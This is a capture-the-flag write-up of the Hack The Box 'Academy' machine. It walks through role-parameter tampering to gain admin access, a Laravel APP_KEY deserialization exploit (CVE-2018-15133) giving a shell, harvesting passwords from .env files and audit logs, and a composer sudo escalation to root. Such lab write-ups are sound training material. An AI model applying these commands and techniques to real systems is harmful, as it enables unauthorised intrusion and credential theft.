Academy has nothing to do with academics. It was just another box with a couple of frustrating moments. The UI maintained a clone of HTB Academy and it is another segment in HTB for the learners.

The initial phase is always a Nmap scan and that was done, it gave two open ports.

Nmap scan report for academy.htb (
Host is up (0.19s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack The Box Academy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Adding the box to the hosts file is a good way to start, even though sometimes that becomes immaterial, fortunately for the academy it was inevitable because the IP was redirecting to academy.htb.Accessing http://academy.htb gave a home page.


Before jumping into the login and register, a directory bruting was initiated using dirsearch and the results were promising.Login and register functionalities were available as per the home screen. Accessing both gave normal forms for a login and registration. Inputs are always a valid point to start.The SQLi and default logins never opened the door. Without wasting much time an account was registered and logged in. The dashboard resembled the HTB academy without any functionality. It was a dead-end, but considering the access to registration and login pages, the flow was clear. There should be a valid login. Both the request to login and register was proxied to Burpsuite and that was a great move. The register request had a roleid parameter.


The value was changed from 0 to 1 and that gave a redirection to success-page.php


The new user has been registered with a roleid=1, it was a user with different privileges than a user with roleid=0. That was not an assumption this is how a request creates a user with roles. A role-based access control (RBAC) or RBAC is a model in which roles are created for various job functions, and permissions to perform certain operations are then tied to roles.

The registration was done, the door was the login and the key was roleid. But unfortunately, the credentials didn’t work as per the theory. It gave the same static page. It should work, not here somewhere else.

Admins are special and they don’t log in with the user. There should be another endpoint, this was the point where the dirsearch result made a breakthrough. The admin login should be done via http://academy.htb/admin.php. The credentials worked fine for the admin dashboard. After the login, there were more doors to open.


  • cry0l1t3 / mrb3n was added to the host files and accessed which in turn gave more info. It was running the laravel framework and debug was turned on. Laravel is a free, open-source PHP web framework intended for the development of web applications following the model–view–controller architectural pattern. The following information was included in the debug response. These were the environment variables.

APP_NAME						"Laravel"
APP_ENV							"local"
APP_KEY							"base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
APP_DEBUG						"true"
APP_URL							"http://localhost"
LOG_CHANNEL						"stack"
DB_CONNECTION					"mysql"
DB_HOST							""
DB_PORT							"3306"
DB_DATABASE						"homestead"
DB_USERNAME						"homestead"
DB_PASSWORD						"secret"
CACHE_DRIVER					"file"
QUEUE_DRIVER					"sync"
REDIS_HOST						""
REDIS_PORT						"6379"
MAIL_DRIVER						"smtp"
MAIL_HOST						""
MAIL_PORT						"2525"
MAIL_USERNAME					"null"
MAIL_PASSWORD					"null"

The usernames and passwords for the database were available in the debug response. This information can not be used to login since the host address is Debug is always turned off while a deployment in to the production environment. But that means debug being turned on in HTB has something to do. Laravel framework and debug, a puerile combination, there should be an exploit. The only piece of information that might help was APP_KEY.Keeping that in mind an exploit recon was done which ended up with CVE-2018-15133.

As per the description that was available at CVE-2018-15133

In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or accomplished a previous attack.

A python exploit was available in Github. The exploit was straight forward

$ python3 http://python3 dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -i

With an interactive shell in place, a bash reverse TCP shell was created for ease of movement and tab completion. I ran a Netcat listener and created a reverse shell using the interactive option packed with the exploit. Once a shell was popped up,it was upgraded to an interactive shell, the first thing on the list.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + z
stty -raw echo;fg
export TERM=xterm

The shell opened at /var/www/html/htb-academy-dev-01/public.There were two vhosts academy.htb and, considering that there should be two directories in the web server.

www-data@academy:/var/www/html$ ls
academy  htb-academy-dev-01  index.php
www-data@academy:/var/www/html$ ls -a htb-academy-dev-01/
.		.gitignore     composer.lock  public	  storage
..		app	       config   tests
.env		artisan        database       resources   vendor
.env.example	bootstrap      package.json   routes	  webpack.mix.js
.gitattributes	composer.json  phpunit.xml    server.php
www-data@academy:/var/www/html$ ls -a academy/
.		.gitignore     composer.lock  public	  storage
..		app	       config   tests
.env		artisan        database       resources   vendor
.env.example	bootstrap      package.json   routes	  webpack.mix.js
.gitattributes	composer.json  phpunit.xml    server.php

Both academy & htb-academy-dev-01 had similar files and environment variables declared.But there was a difference in .env file for academy.

www-data@academy:/var/www/html$ diff academy/.env htb-academy-dev-01/.env
< APP_DEBUG=false
> APP_DEBUG=true
< DB_DATABASE=academy
< DB_PASSWORD=mySup3rP4s5w0rd!!
> DB_DATABASE=homestead
> DB_USERNAME=homestead
> DB_PASSWORD=secret

2 usernames 2 passwords 2 different databases.Before delving more the users in the box were listed

www-data@academy:/var/www/html$ ls /home
21y4d  ch4p  cry0l1t3  egre55  g0blin  mrb3n

cry0l1t3 & mrb3n were the names from the Admin Dashboard.The .env file for academy had a new password and with two users, it was a matter of seconds. The first user with the password mySup3rP4s5w0rd!! gave new shell access with the privilege to read the user.txt

$su - cry0l1t3

The first few things without a linpeash were checking the groups,sudo access level and running processes.

cry0l1t3@academy:~$ groups
cry0l1t3 adm
cry0l1t3@academy:~$ sudo -l
[sudo] password for cry0l1t3:
Sorry, user cry0l1t3 may not run sudo on academy.
cry0l1t3@academy:~$ ps -aux | grep -E 'cry0l1t3'
root        9477  0.0  0.0   9000  3932 pts/0    S    10:00   0:00 su - cry0l1t3
cry0l1t3    9497  0.0  0.2  18608  9700 ?        Ss   10:01   0:00 /lib/systemd/systemd --user
cry0l1t3    9498  0.0  0.0 105404  3440 ?        S    10:01   0:00 (sd-pam)
cry0l1t3    9505  0.0  0.0   2608  1724 pts/0    S    10:01   0:00 -sh
cry0l1t3    9587  0.0  0.2  15732  9700 pts/0    S+   10:03   0:00 python3 -c import pty;pty.spawn("/bin/bash")
cry0l1t3    9588  0.0  0.1   8176  4980 pts/1    Ss   10:03   0:00 /bin/bash
cry0l1t3    9625  0.0  0.0   9084  3568 pts/1    R+   10:04   0:00 ps -aux
cry0l1t3    9626  0.0  0.0   6432   732 pts/1    R+   10:04   0:00 grep --color=auto -E cry0l1t3

The only credible information as of now was the adm group. Group adm is used for system monitoring tasks in Linux. Members of this group can read many log files in /var/log and can use xconsole. There were a lot of files and directories and a moment of perplexity.

cry0l1t3@academy:/var/log$ ls
alternatives.log       dmesg.4.gz     syslog.5.gz
alternatives.log.1     dpkg.log       syslog.6.gz
alternatives.log.2.gz  dpkg.log.1     syslog.7.gz
alternatives.log.3.gz  dpkg.log.2.gz  ubuntu-advantage.log
apache2                dpkg.log.3.gz  unattended-upgrades
apt                    dpkg.log.4.gz  vmware-network.1.log
audit                  faillog        vmware-network.2.log
auth.log               installer      vmware-network.3.log
auth.log.1             journal        vmware-network.4.log
auth.log.2.gz          kern.log       vmware-network.5.log
auth.log.3.gz          kern.log.1     vmware-network.6.log
auth.log.4.gz          kern.log.2.gz  vmware-network.7.log
bootstrap.log          kern.log.3.gz  vmware-network.8.log
btmp                   kern.log.4.gz  vmware-network.9.log
btmp.1                 landscape      vmware-network.log
cloud-init.log         lastlog        vmware-vmsvc-root.1.log
cloud-init-output.log  mysql          vmware-vmsvc-root.2.log
dist-upgrade           private        vmware-vmsvc-root.3.log
dmesg                  syslog         vmware-vmsvc-root.log
dmesg.0                syslog.1       vmware-vmtoolsd-root.log
dmesg.1.gz             syslog.2.gz    wtmp
dmesg.2.gz             syslog.3.gz
dmesg.3.gz             syslog.4.gz

The only thing to do was grep, grep and grep…! Many unsuccessful attempts were made to grep a password or a key. After playing with files it was time for directories. And as illustrated above there was an audit directory, that I have not seen in my Linux server. By default, the Audit system stores log entries in the /var/log/audit/audit.log file. So the audit folder has audit logs. Grepping for the password with a case-sensitive flag got results similar to below.

cry0l1t3@academy:/var/log/audit$ grep -rni pass *
audit.log.1:37098:type=USER_ACCT msg=audit(1600117064.528:124): pid=21880 uid=0 auid=1000 ses=2 msg='op=user syslog added by root to group tty acct="tty" exe="/usr/bin/gpasswd" hostname=academy addr=? terminal=pts/1 res=success'
audit.log.3:29:type=CONFIG_CHANGE msg=audit(1597199290.086:81): pid=2515 uid=0 auid=0 ses=1 op=tty_set old-enabled=0 new-enabled=1 old-log_passwd=0 new-log_passwd=1 res=1
audit.log.3:47:type=CONFIG_CHANGE msg=audit(1597199608.423:99): pid=2515 uid=0 auid=0 ses=1 op=tty_set old-enabled=1 new-enabled=0 old-log_passwd=1 new-log_passwd=0 res=1
audit.log.3:53:type=CONFIG_CHANGE msg=audit(1597199610.159:105): pid=2707 uid=0 auid=0 ses=1 op=tty_set old-enabled=0 new-enabled=1 old-log_passwd=0 new-log_passwd=1 res=1
audit.log.3:58:type=CONFIG_CHANGE msg=audit(1597199617.575:110): pid=2707 uid=0 auid=0 ses=1 op=tty_set old-enabled=1 new-enabled=0 old-log_passwd=1 new-log_passwd=0 res=1

Failing every time with the keywords for sensitive information a google search of clear text passwords in audit log made a great breakthrough to the user mrb3n. The blog on behalf of logging passwords in linux described grabbing clear text passwords from users as they use su/sudo. The text to grep was never password. That was either su or sudo.

As per the blog the password will be in hexadecimal and it was clear the data will be in the eleventh field.Decrypting the password was done using a bash oneliner.

cry0l1t3@academy:/var/log/audit$ grep -rni 'comm="su"\|comm="sudo"' * | awk '{print $11}' | cut -d'=' -f2 | xxd -r -p

After logging in as mrb3n, the first thing for privilege escalation was to look for the sudo access level.mrb3n had sudo privileges to run composer. As per the information available from Gtfobins with composer, if the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x

Regardless of a warning triggered, the above snippet escalated the privileges to root. Academy was rooted..!